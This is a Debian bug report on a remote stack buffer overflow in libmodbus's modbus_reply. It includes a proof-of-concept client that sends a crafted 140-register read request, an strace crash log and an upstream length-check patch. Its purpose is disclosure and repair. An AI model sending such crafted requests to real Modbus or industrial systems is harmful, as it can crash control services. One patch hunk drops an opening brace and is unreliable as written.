--- Begin Message ---
Package: libmodbus5
Version: 3.0.2-1
Severity: normal
Tags: upstream patch
Hi,
a Debian user reported crashes caused by buffer overflowing remote requests.
The attached example server (server.c, port 15502) provides a 0x100 registers
buffer. The example client (exploit.c) reads 140 registers at once which
overflows the maximum of 125 and crashes the server (see the trace in
libmodbus-crash.txt).
The attached patch fixes it.
Thanks to Josef Holzmayr for reporting and providing example code and the
patch!
Roland
-- System Information:
Debian Release: wheezy/sid
APT prefers unstable
APT policy: (500, 'unstable'), (500, 'testing')
Architecture: i386 (x86_64)
Kernel: Linux 3.2.0-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Versions of packages libmodbus5 depends on:
ii libc6 2.13-26
libmodbus5 recommends no packages.
libmodbus5 suggests no packages.
-- no debconf information
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <signal.h>
#include <modbus/modbus.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
modbus_t *ctx = NULL;
int server_socket;
modbus_mapping_t *mb_mapping;
#define MODBUS_TCP_MAXCONNECTIONS 5
#define MODBUS_DATA_SIZE 0x100
static void close_sigint(int dummy) {
close(server_socket);
modbus_free(ctx);
modbus_mapping_free(mb_mapping);
exit(dummy);
}
int main(void) {
int master_socket;
int rc;
fd_set refset;
fd_set rdset;
/* Maximum file descriptor number */
int fdmax;
ctx = modbus_new_tcp("127.0.0.1", 15502);
mb_mapping = modbus_mapping_new(0, 0, MODBUS_DATA_SIZE, 0);
if (mb_mapping == NULL) {
modbus_free(ctx);
return -1;
}
server_socket = modbus_tcp_listen(ctx, MODBUS_TCP_MAXCONNECTIONS);
signal(SIGINT, close_sigint);
/* Clear the reference set of socket */
FD_ZERO(&refset);
/* Add the server socket */
FD_SET(server_socket, &refset);
/* Keep track of the max file descriptor */
fdmax = server_socket;
for (;;) {
rdset = refset;
if (select(fdmax+1, &rdset, NULL, NULL, NULL) == -1) {
close_sigint(1);
}
/* Run through the existing connections looking for data to be
* read */
for (master_socket = 0; master_socket <= fdmax; master_socket++) {
if (FD_ISSET(master_socket, &rdset)) {
if (master_socket == server_socket) {
/* A client is asking a new connection */
socklen_t addrlen;
struct sockaddr_in clientaddr;
int newfd;
/* Handle new connections */
addrlen = sizeof(clientaddr);
memset(&clientaddr, 0, sizeof(clientaddr));
newfd = accept(server_socket, (struct sockaddr *)&clientaddr, &addrlen);
if (newfd != -1) {
FD_SET(newfd, &refset);
if (newfd > fdmax) {
/* Keep track of the maximum */
fdmax = newfd;
}
}
} else {
/* An already connected master has sent a new query */
uint8_t query[MODBUS_TCP_MAX_ADU_LENGTH];
modbus_set_socket(ctx, master_socket);
rc = modbus_receive(ctx, query);
if (rc != -1) {
modbus_reply(ctx, query, rc, mb_mapping);
} else {
/* Connection closed by the client, end of server */
close(master_socket);
/* Remove from reference set */
FD_CLR(master_socket, &refset);
if (master_socket == fdmax) {
fdmax--;
}
}
}
}
}
}
return 0;
}
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
int main()
{
int sd;
struct sockaddr_in sin;
struct sockaddr_in pin;
struct hostent *hp;
char challenge[] = "\x01\x00\x00\x00\x00\x06\x01\x03\x00\x00\x00\x8C";
hp = gethostbyname("localhost");
memset(&pin, 0, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
pin.sin_port = htons(15502);
sd = socket(AF_INET, SOCK_STREAM, 0);
connect(sd,(struct sockaddr *) &pin, sizeof(pin));
send(sd, challenge, 12, 0);
close(sd);
return 0;
}
jd@tabr:~/src/libmodbus-exploit$ strace -x ./server
execve("./server", ["./server"], [/* 57 vars */]) = 0
brk(0) = 0x1fc8000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x7f090adca000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=139478, ...}) = 0
mmap(NULL, 139478, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f090ada7000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/usr/local/lib/libmodbus.so.5", O_RDONLY) = 3
read(3,
"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x30\x27\x00\x00\x00\x00\x00\x00"...,
832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=39296, ...}) = 0
mmap(NULL, 2134472, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) =
0x7f090a9a2000
mprotect(0x7f090a9aa000, 2097152, PROT_NONE) = 0
mmap(0x7f090abaa000, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x8000) = 0x7f090abaa000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3,
"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x20\x14\x02\x00\x00\x00\x00\x00"...,
832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1685816, ...}) = 0
mmap(NULL, 3801960, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) =
0x7f090a601000
mprotect(0x7f090a798000, 2093056, PROT_NONE) = 0
mmap(0x7f090a997000, 20480, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x196000) = 0x7f090a997000
mmap(0x7f090a99c000, 21352, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f090a99c000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x7f090ada6000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x7f090ada4000
arch_prctl(ARCH_SET_FS, 0x7f090ada4720) = 0
mprotect(0x7f090a997000, 16384, PROT_READ) = 0
mprotect(0x7f090abaa000, 4096, PROT_READ) = 0
mprotect(0x601000, 4096, PROT_READ) = 0
mprotect(0x7f090adcc000, 4096, PROT_READ) = 0
munmap(0x7f090ada7000, 139478) = 0
brk(0) = 0x1fc8000
brk(0x1fe9000) = 0x1fe9000
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(15502),
sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5) = 0
rt_sigaction(SIGINT, {0x400a14, [INT], SA_RESTORER|SA_RESTART, 0x7f090a637420},
{SIG_DFL, [], 0}, 8) = 0
select(4, [3], NULL, NULL, NULL) = 1 (in [3])
accept(3, {sa_family=AF_INET, sin_port=htons(1725),
sin_addr=inet_addr("192.168.3.156")}, [16]) = 4
select(5, [3 4], NULL, NULL, NULL) = 1 (in [4])
select(5, [4], NULL, NULL, NULL) = 1 (in [4])
recvfrom(4, "\x01\x00\x00\x00\x00\x06\x01\x03", 8, 0, NULL, NULL) = 8
select(5, [4], NULL, NULL, {0, 500000}) = 1 (in [4], left {0, 499997})
recvfrom(4, "\x00\x00\x00\x8c", 4, 0, NULL, NULL) = 4
sendto(4,
"\x01\x00\x00\x00\x01\x1b\x01\x03\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"...,
289, MSG_NOSIGNAL, NULL, 0) = 289
open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = 5
writev(5, [{"*** ", 4}, {"stack smashing detected", 23}, {" ***: ", 6},
{"./server", 8}, {" terminated\n", 12}], 5*** stack smashing detected ***:
./server terminated
) = 53
open("/etc/ld.so.cache", O_RDONLY) = 6
fstat(6, {st_mode=S_IFREG|0644, st_size=139478, ...}) = 0
mmap(NULL, 139478, PROT_READ, MAP_PRIVATE, 6, 0) = 0x7f090ada7000
close(6) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libgcc_s.so.1", O_RDONLY) = 6
read(6,
"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\xb0\x28\x00\x00\x00\x00\x00\x00"...,
832) = 832
fstat(6, {st_mode=S_IFREG|0644, st_size=88384, ...}) = 0
mmap(NULL, 2184216, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) =
0x7f090a3eb000
mprotect(0x7f090a400000, 2093056, PROT_NONE) = 0
mmap(0x7f090a5ff000, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x14000) = 0x7f090a5ff000
close(6) = 0
mprotect(0x7f090a5ff000, 4096, PROT_READ) = 0
munmap(0x7f090ada7000, 139478) = 0
write(5, "======= Backtrace: =========\n", 29======= Backtrace: =========
) = 29
writev(5, [{"/lib/x86_64-linux-gnu/libc.so.6", 31}, {"(", 1},
{"__fortify_fail", 14}, {"+0x", 3}, {"37", 2}, {")", 1}, {"[0x", 3},
{"7f090a6fb4f7", 12}, {"]\n", 2}],
9/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7f090a6fb4f7]
) = 69
writev(5, [{"/lib/x86_64-linux-gnu/libc.so.6", 31}, {"(", 1},
{"__fortify_fail", 14}, {"+0x", 3}, {"0", 1}, {")", 1}, {"[0x", 3},
{"7f090a6fb4c0", 12}, {"]\n", 2}],
9/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x0)[0x7f090a6fb4c0]
) = 68
writev(5, [{"/usr/local/lib/libmodbus.so.5", 29}, {"(", 1}, {"+0x", 3},
{"3a08", 4}, {")", 1}, {"[0x", 3}, {"7f090a9a5a08", 12}, {"]\n", 2}],
8/usr/local/lib/libmodbus.so.5(+0x3a08)[0x7f090a9a5a08]
) = 55
writev(5, [{"./server", 8}, {"[0x", 3}, {"400e36", 6}, {"]\n", 2}],
4./server[0x400e36]
) = 19
write(5, "======= Memory map: ========\n", 29======= Memory map: ========
) = 29
open("/proc/self/maps", O_RDONLY) = 6
read(6, "00400000-00402000 r-xp 00000000 "..., 1024) = 1024
write(5, "00400000-00402000 r-xp 00000000 "..., 102400400000-00402000 r-xp
00000000 08:13 8651167
/home/jd/src/libmodbus-exploit/server
00601000-00602000 r--p 00001000 08:13 8651167
/home/jd/src/libmodbus-exploit/server
00602000-00603000 rw-p 00002000 08:13 8651167
/home/jd/src/libmodbus-exploit/server
01fc8000-01fe9000 rw-p 00000000 00:00 0 [heap]
7f090a3eb000-7f090a400000 r-xp 00000000 00:11 8032
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f090a400000-7f090a5ff000 ---p 00015000 00:11 8032
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f090a5ff000-7f090a600000 r--p 00014000 00:11 8032
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f090a600000-7f090a601000 rw-p 00015000 00:11 8032
/lib/x86_64-linux-gnu/libgcc_s.so.1
7f090a601000-7f090a798000 r-xp 00000000 00:11 3837944
/lib/x86_64-linux-gnu/libc-2.13.so
7f090a798000-7f090a997000 ---p 00197000 00:11 3837944 ) = 1024
read(6, " /lib/x86_64-linux-gnu/libc"..., 1024) = 1024
write(5, " /lib/x86_64-linux-gnu/libc"..., 1024
/lib/x86_64-linux-gnu/libc-2.13.so
7f090a997000-7f090a99b000 r--p 00196000 00:11 3837944
/lib/x86_64-linux-gnu/libc-2.13.so
7f090a99b000-7f090a99c000 rw-p 0019a000 00:11 3837944
/lib/x86_64-linux-gnu/libc-2.13.so
7f090a99c000-7f090a9a2000 rw-p 00000000 00:00 0
7f090a9a2000-7f090a9aa000 r-xp 00000000 00:11 3885135
/usr/local/lib/libmodbus.so.5.0.1
7f090a9aa000-7f090abaa000 ---p 00008000 00:11 3885135
/usr/local/lib/libmodbus.so.5.0.1
7f090abaa000-7f090abab000 r--p 00008000 00:11 3885135
/usr/local/lib/libmodbus.so.5.0.1
7f090abab000-7f090abac000 rw-p 00009000 00:11 3885135
/usr/local/lib/libmodbus.so.5.0.1
7f090abac000-7f090abcd000 r-xp 00000000 00:11 3837941
/lib/x86_64-linux-gnu/ld-2.13.so
7f090ada4000-7f090ada7000 rw-p 00000000 00:00 0
7f090adca000-7f090adcc000 rw-p 00000000 00:00 0
7f090adcc000-7f090adcd000 r--p 00020000 00:11 3837941
/lib/x86_64-l) = 1024
read(6, "inux-gnu/ld-2.13.so\n7f090adcd000"..., 1024) = 371
write(5, "inux-gnu/ld-2.13.so\n7f090adcd000"..., 371inux-gnu/ld-2.13.so
7f090adcd000-7f090adcf000 rw-p 00021000 00:11 3837941
/lib/x86_64-linux-gnu/ld-2.13.so
7fff7235e000-7fff7237f000 rw-p 00000000 00:00 0 [stack]
7fff723ff000-7fff72400000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
[vsyscall]
) = 371
read(6, "", 1024) = 0
close(6) = 0
rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0
gettid() = 9183
tgkill(9183, 9183, SIGABRT) = 0
--- SIGABRT (Aborted) @ 0 (0) ---
+++ killed by SIGABRT +++
Abgebrochen
>From e0d5540cca53108164f6a41df456fea7682252d0 Mon Sep 17 00:00:00 2001
From: Josef Holzmayr <[email protected]>
Date: Mon, 19 Mar 2012 22:02:36 +0100
Subject: [PATCH] Add length checks to multiple read/write commands
---
src/modbus.c | 22 +++++++++++++++-------
1 file changed, 15 insertions(+), 7 deletions(-)
diff --git a/src/modbus.c b/src/modbus.c
index 2860d29..ccee878 100644
--- a/src/modbus.c
+++ b/src/modbus.c
@@ -662,7 +662,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
case _FC_READ_COILS: {
int nb = (req[offset + 3] << 8) + req[offset + 4];
- if ((address + nb) > mb_mapping->nb_bits) {
+ if ((address + nb) > mb_mapping->nb_bits ||
+ nb > MODBUS_MAX_READ_BITS) {
if (ctx->debug) {
fprintf(stderr, "Illegal data address %0X in read_bits\n",
address + nb);
@@ -684,7 +685,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
* function) */
int nb = (req[offset + 3] << 8) + req[offset + 4];
- if ((address + nb) > mb_mapping->nb_input_bits) {
+ if ((address + nb) > mb_mapping->nb_input_bits ||
+ nb > MODBUS_MAX_READ_BITS) {
if (ctx->debug) {
fprintf(stderr, "Illegal data address %0X in read_input_bits\n",
address + nb);
@@ -704,7 +706,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
case _FC_READ_HOLDING_REGISTERS: {
int nb = (req[offset + 3] << 8) + req[offset + 4];
- if ((address + nb) > mb_mapping->nb_registers) {
+ if ((address + nb) > mb_mapping->nb_registers ||
+ nb > MODBUS_MAX_READ_REGISTERS) {
if (ctx->debug) {
fprintf(stderr, "Illegal data address %0X in read_registers\n",
address + nb);
@@ -729,7 +732,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
* function) */
int nb = (req[offset + 3] << 8) + req[offset + 4];
- if ((address + nb) > mb_mapping->nb_input_registers) {
+ if ((address + nb) > mb_mapping->nb_input_registers ||
+ nb > MODBUS_MAX_READ_REGISTERS) {
if (ctx->debug) {
fprintf(stderr, "Illegal data address %0X in read_input_registers\n",
address + nb);
@@ -797,7 +801,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
case _FC_WRITE_MULTIPLE_COILS: {
int nb = (req[offset + 3] << 8) + req[offset + 4];
- if ((address + nb) > mb_mapping->nb_bits) {
+ if ((address + nb) > mb_mapping->nb_bits ||
+ nb > MODBUS_MAX_WRITE_BITS)
if (ctx->debug) {
fprintf(stderr, "Illegal data address %0X in write_bits\n",
address + nb);
@@ -819,7 +824,8 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
case _FC_WRITE_MULTIPLE_REGISTERS: {
int nb = (req[offset + 3] << 8) + req[offset + 4];
- if ((address + nb) > mb_mapping->nb_registers) {
+ if ((address + nb) > mb_mapping->nb_registers ||
+ nb > MODBUS_MAX_WRITE_REGISTERS) {
if (ctx->debug) {
fprintf(stderr, "Illegal data address %0X in write_registers\n",
address + nb);
@@ -873,7 +879,9 @@ int modbus_reply(modbus_t *ctx, const uint8_t *req,
int nb_write = (req[offset + 7] << 8) + req[offset + 8];
if ((address + nb) > mb_mapping->nb_registers ||
- (address_write + nb_write) > mb_mapping->nb_registers) {
+ (address_write + nb_write) > mb_mapping->nb_registers ||
+ nb > MODBUS_MAX_RW_WRITE_REGISTERS ||
+ nb_write > MODBUS_MAX_RW_WRITE_REGISTERS) {
if (ctx->debug) {
fprintf(stderr,
"Illegal data read address %0X or write address %0X write_and_read_registers\n",
--
1.7.9.4
--- End Message ---